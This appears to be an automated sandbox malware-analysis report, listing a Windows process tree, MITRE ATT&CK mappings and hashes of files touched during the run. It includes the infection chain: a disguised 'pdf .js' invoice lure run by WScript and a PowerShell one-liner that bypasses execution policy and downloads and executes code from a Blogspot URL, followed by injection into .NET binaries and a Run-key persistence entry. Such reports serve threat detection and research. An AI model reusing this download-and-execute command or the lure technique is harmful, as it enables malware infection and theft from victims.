C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6152 /prefetch:1
3⤵
PID:5612

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5848 /prefetch:1
3⤵
PID:6020

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4284 /prefetch:1
3⤵
PID:6132

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2896 /prefetch:1
3⤵
PID:6140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1896 /prefetch:1
3⤵
PID:4772

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:1
3⤵
PID:5416

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6552 /prefetch:1
3⤵
PID:2884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6516 /prefetch:8
3⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:5696

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5740 /prefetch:2
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1992

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
2⤵
PID:3988

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=51AE2DD2874CD2D645B9A5501B53EF8A --mojo-platform-channel-handle=1756 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
3⤵
PID:3540

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=7A47F4029D5B2D96D18ED631424FBC63 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=7A47F4029D5B2D96D18ED631424FBC63 --renderer-client-id=2 --mojo-platform-channel-handle=1780 --allow-no-sandbox-job /prefetch:1
3⤵
PID:3740

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=CD9A3EFC4AF98AA971DE81AA6F7A405E --mojo-platform-channel-handle=2344 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
3⤵
PID:3720

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9A1F0FAEA183EDE52F8DDE7DD35154E4 --mojo-platform-channel-handle=2444 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
3⤵
PID:4112

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=13D8B76179B37B82B44FCE06DE37C198 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=13D8B76179B37B82B44FCE06DE37C198 --renderer-client-id=6 --mojo-platform-channel-handle=2536 --allow-no-sandbox-job /prefetch:1
3⤵
PID:1356

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C3F8FBD024E20639FAD14D9AFD9F31DA --mojo-platform-channel-handle=2420 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
3⤵
PID:660

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:544

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2484

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:8

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3104

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\lnvoice-1205700442.pdf .js"
1⤵
PID:3120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;
2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6076

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4224

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5404

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
PID:1792

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 808
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:5252

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
PID:5752

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 800
4⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1660

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
PID:5520

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 800
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:5276

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
PID:5572

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 800
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:5268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
a2f25ee6cb6690684662b3eb0cb0701c

SHA1
65254d5a29fb443d05f1bdc2276b415dad911ada

SHA256
ff901e4246bc2751de3893812f3cbb701423e47c3539f365cd5c88865b17a1d3

SHA512
febaa94a183324a5f51ad28ed0ef86131ebf71a560f522b0efbcf7db0f7335657bbc7b137c6925ecb5313576d29ab6132fafe01dbada50577e252a24d9934ce0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
de47c3995ae35661b0c60c1f1d30f0ab

SHA1
6634569b803dc681dc068de3a3794053fa68c0ca

SHA256
4d063bb78bd4fa86cee3d393dd31a08cab05e3539d31ca9f0a294df754cd00c7

SHA512
852a9580564fd4c53a9982ddf36a5679dbdce55d445b979001b4d97d60a9a688e532821403322c88acc42f6b7fa9cc5e964a79cbe142a96cbe0f5612fe1d61cb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
704d4cabea796e63d81497ab24b05379

SHA1
b4d01216a6985559bd4b6d193ed1ec0f93b15ff8

SHA256
3db2f8ac0fb3889fcf383209199e35ac8380cf1b78714fc5900df247ba324d26

SHA512
0f4803b7b7396a29d43d40f971701fd1af12d82f559dcfd25e0ca9cc8868a182acba7b28987142c1f003efd7dd22e474ac4c8f01fe73725b3618a7bf3e77801d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000038

Filesize
199KB

MD5
585ac11a4e8628c13c32de68f89f98d6

SHA1
bcea01f9deb8d6711088cb5c344ebd57997839db

SHA256
d692f27c385520c3b4078c35d78cdf154c424d09421dece6de73708659c7e2a6

SHA512
76d2ed3f41df567fe4d04060d9871684244764fc59b81cd574a521bb013a6d61955a6aedf390a1701e3bfc24f82d92fd062ca9e461086f762a3087c142211c19

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
df51fb126c8992deee77610a53b5c4ba

SHA1
ec8ff54e71cdad16b9e84ebe48c7d7cb64670d5e

SHA256
2a2ef4da9a092df45141192bcb3a3568c9d006ebdfd193c3e726b462d4fb7ea8

SHA512
e0851b8233ef6baa0fe86554ad023bce722bac98e9bedc2378add749b1679d1848e7b3d7ab84b09d66f75d9a0ffa13020930adc285d8067233df183db99130c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
ba016c84cfdc4504c4231f134e94efa1

SHA1
aa3a047989cdad33196836f8dc7e7dea34242d40

SHA256
57c59bb138ec2d2d3e5675492c7c9b8921062fd6652bad01ba7f9916e9cbaece

SHA512
adeec89c5844d6fe291dbee2ca68665a104b8a8552458692dc411eb1813ed36b6bc6f39008f4a26eba9036e30be8b49417b4b04e2247f19c9063aa6280dc9f42

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
a054ec7093a0510d748406d552f03d79

SHA1
4b13cb14168d7164e774c32ae30d8c2e9e061b15

SHA256
ef5eb29afd99ccc5ed05c434b0fc5627fac22c5ba4cc01d23383b414d514f95f

SHA512
7df98e166fcde22b09bb576ca6ef28d5f5b08ae6603c1df942909657d7e93aa77726f754a9a20e4658d79ce74391c1abe997fce598522baf1647ff148d4c70f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
5b8231d2ca89e85de379a1fb750cf55e

SHA1
8b2a49386cf1c0085422a81c66934c88394fb35c

SHA256
6e32a56a2e124ff8ed9dc4a3056414b3d776a1c0088b25c8102923382a2e1e83

SHA512
6d0b56a96ec58d1bcfa7fd6b15aca0858dc1c77cae58435a87caf364267fe946d2c85842ae36678ae818c9a00cc3aa09d211993b551aec21e2065cbed73958c5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
2fef01fdd28cc46ca656db6f361658b0

SHA1
6edc155f5d5e1d85bf3d86b400b539b861273dd7

SHA256
2e2c34b3f319f5c01db702ddb3829287ffba2dc3e4881a1ee4ec5d5b24d4ab12

SHA512
382dfa2cce1bc0b9cdff5f337d60a595576b714de4f9aceb815e1d9438d3a28d4f94e5a4a7eadd25769a4a2331067869f947c648bccda171d37c49c98807def6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
4278d253add66ea4af4d68ea7ba83bf2

SHA1
8becd89e3f1b9c4c475e55c04ca80a036717a0b8

SHA256
06f434b45e44ecec7cb0886b037514418f3d2bd5d955700255b88dc016435ef6

SHA512
6ad18ff85f8e04d870dfb853f97b2412e95bb1fdb7b743f22b2c4d70a65fca6a07109356816e9a3811fca439ed573f10ecd387a8fca1b7d57be453968782430e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
abcda4402e0372fd2155cbb0f7a17285

SHA1
8822a14daa2744ac23a18e4539bb5aeb5ad60bd3

SHA256
9801c41162a3c9bbfbaf68fe18fbaf3ea7b630581e577de9edd1d9424671e823

SHA512
212d4fea3d7326da02242b62b39385c177f1faf84b58b7793ec74f50ec80dc6ed406f8ee416d4ee27f33fee2219e7e3307ee351c180257fc7fd6bafec84ed657

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
4cdf347dac3e4eec679ddd971b96d2a9

SHA1
7762ea2ffc7f2ccab5bd25592727e1da2c87f371

SHA256
e492aa0d1cfea96576a01925b44a789f0ef010ee307f3959d38795e146a581a0

SHA512
0d05fbb9e528b59d39fe36ef81faa9ad40462bee135fae446828a75eccd447f30b1b4edb740aaf57ef90941eaac3b1d2626eba0de5e86c8db8bab2a0f47c02f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
9666c76bbf1dbe0133b7450b8932bb92

SHA1
d151673f0d2e175b4eada2fbb9c94654ba08bb41

SHA256
fdb89d7ecf8bf6fef609e4a6e658e382e01507988f402fdfd2d6656af4275da3

SHA512
265ef8b997e2945620ecd0a29a650d85447ae80559ad24adf081f81e334ee83c02abab2a612f8a6f5c2695b4403f0e31d4ad5c1a044426c5b1d64d0c9b277464

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
6fe28800e85ead214e61698fed9aa397

SHA1
76d962d9f5445890be2a7f78dbf64f3c3cd45d83

SHA256
de0e640b4ab9e761b9415d6c6e81257a821541c3f5b8c5c4c7c7a1c3a458cfe6

SHA512
5bf0227d3f8cf34f0cf705d2418d113dc8237994e2e269959818425d69fbc559b329ff9cbf47aa85407f09fb52985eb127123b84f0c59bf2154773928b3d00d1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57d8eb.TMP

Filesize
1KB

MD5
639b4fd9525fcbf7d6c4f7d66a3ebcbd

SHA1
be9c72f93e17dd8e2df8cf77557eedf5d325eaa0

SHA256
73dd169e41ff0c448f8dce3f7de989cfa75d3bef6948659dfb2bbf5242bbd36f

SHA512
a0d73f1079ca9f349e4e842e07b690ec721d5a27b56953e8c40343ff65474859e1cc4f8c6937e1db7a4edd32756fe5864be2bf412bfe4db5f6575e44ea90471e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
0e527005d36c55f36568f5b739fbe2ff

SHA1
437d701a2d0f3d1ab81e7d4704d62e75fb21a59d

SHA256
80de2ada3b847db3db87c4cf238c95139377bc50410fcf0f2849849bceb14255

SHA512
cd16b1f42e799d8c1bb4ddf66bb48839fbfd1d866028260652597a92e5539f281b0ffa712f279a7c5a60e95c66d85c9df6b4b6eacae972483b1396fb47b8517f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
1cb7234e0d97e031b74d1a3d69da69f3

SHA1
c06c10e8650f323ad0467de2b973e02f257ad865

SHA256
40fa20636b7385947f53d1465c141c63130bb41d86265ab2afccb7d43ebb8272

SHA512
604ec65e9594c1621aba406378aba668081bc2ae1366c1db0df1f8c296c65063d11d59f6059381e9e57c5c6f98701e011f95a519c95bd412568e9ad766fee1c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
eade2591f17908a13226e388f573e4c3

SHA1
5b5f0298f0aa2bd8792fddba7abab7b490b2499f

SHA256
e918d2db0231992df88af5069252b3ebaccf70e4e1a78fa9f701daf8430e860b

SHA512
3ef0ff1baab1ef6f8600517111e3fa23d3a1d696b8b1d429b1406237bb3722e8e2bd0c54c6d23d303f2eae05b08384c844e1e6cf630dc7a92514b9b391ea9e7a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
969e725d654f5a69253d581dfabe5542

SHA1
7d45898f04bd55edcc24fe6a38ece707df8b3f0f

SHA256
f654c968f22cfe63ee8466b696d2ef3915cce2cf82df30860924c38d3d774b3f

SHA512
